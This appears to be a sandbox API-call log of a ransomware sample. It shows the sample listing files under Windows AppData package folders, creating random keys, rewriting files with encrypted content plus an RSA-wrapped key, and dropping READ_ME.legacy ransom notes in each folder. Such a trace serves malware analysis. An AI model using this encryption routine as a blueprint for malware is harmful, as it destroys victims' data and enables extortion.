ftCreationTime.dwLowDateTime=0x8a6b7054, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xa94540a6, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xa94540a6, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0161.517] FindNextFileW (in: hFindFile=0x2f61e18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2aae8a9, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2aae8a9, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc2aae8a9, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settings.dat.LOG1", cAlternateFileName="SETTIN~1.LOG")) returned 1 [0161.517] FindNextFileW (in: hFindFile=0x2f61e18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2aae8a9, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2aae8a9, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc2aae8a9, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 1 [0161.517] FindNextFileW (in: hFindFile=0x2f61e18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc2aae8a9, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2aae8a9, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc2aae8a9, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 0 [0161.518] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4530 | out: pbBuffer=0x5c4530) returned 1 [0161.518] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0161.518] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0161.518] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\Settings\\settings.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\settings\\settings.dat.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0161.518] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4638 | out: pbBuffer=0x5c4638) returned 1 [0161.518] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3548 | out: pbBuffer=0x5c3548) returned 1 [0161.518] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0161.519] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\Settings\\settings.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\settings\\settings.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0161.519] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0161.519] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0161.519] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0161.519] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0161.519] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c54a8 | out: pbBuffer=0x5c54a8) returned 1 [0161.519] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3438 | out: pbBuffer=0x5c3438) returned 1 [0161.519] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0161.521] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1200 [0161.521] GetFileSizeEx (in: hFile=0x1200, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0161.521] ReadFile (in: hFile=0x1200, lpBuffer=0x5c3478, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0161.522] SetFilePointer (in: hFile=0x1200, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.522] WriteFile (in: hFile=0x1200, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0161.522] SetFilePointer (in: hFile=0x1200, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0161.522] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0161.522] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c54a8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0161.522] WriteFile (in: hFile=0x1200, lpBuffer=0x5c54a8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c54a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0161.523] WriteFile (in: hFile=0x1200, lpBuffer=0x5c3438*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0161.523] CloseHandle (hObject=0x1200) returned 1 [0161.526] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\SystemAppData\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5ae5d2a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd5ae5d2a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61b18 [0161.526] FindNextFileW (in: hFindFile=0x2f61b18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5ae5d2a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xd5ae5d2a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.526] FindNextFileW (in: hFindFile=0x2f61b18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a0ce4, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2a0ce4, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.526] FindNextFileW (in: hFindFile=0x2f61b18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a0ce4, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2a0ce4, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.526] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\TempState\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a66aba6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x26ab0f83, ftLastAccessTime.dwHighDateTime=0x1d4d5d0, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61fd8 [0161.526] FindNextFileW (in: hFindFile=0x2f61fd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a66aba6, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x26ab0f83, ftLastAccessTime.dwHighDateTime=0x1d4d5d0, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.526] FindNextFileW (in: hFindFile=0x2f61fd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed2a0ce4, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2a0ce4, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.526] FindNextFileW (in: hFindFile=0x2f61fd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xcc6143b0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xa970154, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa970154, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TileCache_100_0_Data.bin", cAlternateFileName="TILECA~2.BIN")) returned 1 [0161.526] FindNextFileW (in: hFindFile=0x2f61fd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xcc6143b0, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xa970154, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa970154, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x25a8, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TileCache_100_0_Header.bin", cAlternateFileName="TILECA~1.BIN")) returned 1 [0161.526] FindNextFileW (in: hFindFile=0x2f61fd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ab0f83, ftCreationTime.dwHighDateTime=0x1d4d5d0, ftLastAccessTime.dwLowDateTime=0x26ab0f83, ftLastAccessTime.dwHighDateTime=0x1d4d5d0, ftLastWriteTime.dwLowDateTime=0x26df83f3, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0xfcfe, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="UnifiedTileCache.dat", cAlternateFileName="UNIFIE~1.DAT")) returned 1 [0161.527] FindNextFileW (in: hFindFile=0x2f61fd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ab0f83, ftCreationTime.dwHighDateTime=0x1d4d5d0, ftLastAccessTime.dwLowDateTime=0x26ab0f83, ftLastAccessTime.dwHighDateTime=0x1d4d5d0, ftLastWriteTime.dwLowDateTime=0x26df83f3, ftLastWriteTime.dwHighDateTime=0x1d4d5d0, nFileSizeHigh=0x0, nFileSizeLow=0xfcfe, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="UnifiedTileCache.dat", cAlternateFileName="UNIFIE~1.DAT")) returned 0 [0161.527] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0161.527] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0161.527] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\TempState\\UnifiedTileCache.dat", dwFileAttributes=0x80) returned 1 [0161.527] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\TempState\\UnifiedTileCache.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\tempstate\\unifiedtilecache.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1208 [0161.527] GetFileSizeEx (in: hFile=0x1208, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=64766) returned 1 [0161.527] ReadFile (in: hFile=0x1208, lpBuffer=0x30cd020, nNumberOfBytesToRead=0xfcfe, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30cd020*, lpNumberOfBytesRead=0x2e1f9bc*=0xfcfe, lpOverlapped=0x0) returned 1 [0161.529] SetFilePointer (in: hFile=0x1208, lDistanceToMove=-64766, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.529] WriteFile (in: hFile=0x1208, lpBuffer=0x30dcd28*, nNumberOfBytesToWrite=0xfcfe, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dcd28*, lpNumberOfBytesWritten=0x2e1f9bc*=0xfcfe, lpOverlapped=0x0) returned 1 [0161.529] SetFilePointer (in: hFile=0x1208, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xfcfe [0161.529] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0161.529] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0161.529] WriteFile (in: hFile=0x1208, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0161.529] WriteFile (in: hFile=0x1208, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0161.530] CloseHandle (hObject=0x1208) returned 1 [0161.531] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c54a8 | out: pbBuffer=0x5c54a8) returned 1 [0161.531] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3438 | out: pbBuffer=0x5c3438) returned 1 [0161.531] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\TempState\\TileCache_100_0_Header.bin", dwFileAttributes=0x80) returned 1 [0161.531] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\TempState\\TileCache_100_0_Header.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\tempstate\\tilecache_100_0_header.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0161.531] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c55b0 | out: pbBuffer=0x5c55b0) returned 1 [0161.531] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3468 | out: pbBuffer=0x5c3468) returned 1 [0161.532] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\TempState\\TileCache_100_0_Data.bin", dwFileAttributes=0x80) returned 1 [0161.532] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\\TempState\\TileCache_100_0_Data.bin" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.shellexperiencehost_cw5n1h2txyewy\\tempstate\\tilecache_100_0_data.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0161.532] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\\AC\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x71ce0e7e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71ce0e7e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed2c64b0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61918 [0161.532] FindNextFileW (in: hFindFile=0x2f61918, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x71ce0e7e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71ce0e7e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed2c64b0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.532] FindNextFileW (in: hFindFile=0x2f61918, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x71ce0e7e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71ce0e7e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x71ce0e7e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0161.532] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\\AC\\INetCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.windowpicker_cw5n1h2txyewy\\ac\\inetcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120c [0161.534] WriteFile (in: hFile=0x120c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0161.535] CloseHandle (hObject=0x120c) returned 1 [0161.535] FindNextFileW (in: hFindFile=0x2f61918, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x71ce0e7e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71ce0e7e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x71ce0e7e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0161.535] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\\AC\\INetCookies\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.windowpicker_cw5n1h2txyewy\\ac\\inetcookies\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120c [0161.536] WriteFile (in: hFile=0x120c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0161.537] CloseHandle (hObject=0x120c) returned 1 [0161.537] FindNextFileW (in: hFindFile=0x2f61918, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x71ce0e7e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71ce0e7e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x71ce0e7e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0161.537] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.WindowPicker_cw5n1h2txyewy\\AC\\INetHistory\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.windowpicker_cw5n1h2txyewy\\ac\\inethistory\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120c [0161.538] WriteFile (in: hFile=0x120c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0161.539] CloseHandle (hObject=0x120c) returned 1 [0161.539] FindNextFileW (in: hFindFile=0x2f61918, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed2c64b0, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed2c64b0, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2c64b0, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.539] FindNextFileW (in: hFindFile=0x2f61918, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71ce0e7e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x71ce0e7e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x71ce0e7e, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0161.539] FindNextFileW (in: hFindFile=0x2f61918, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, 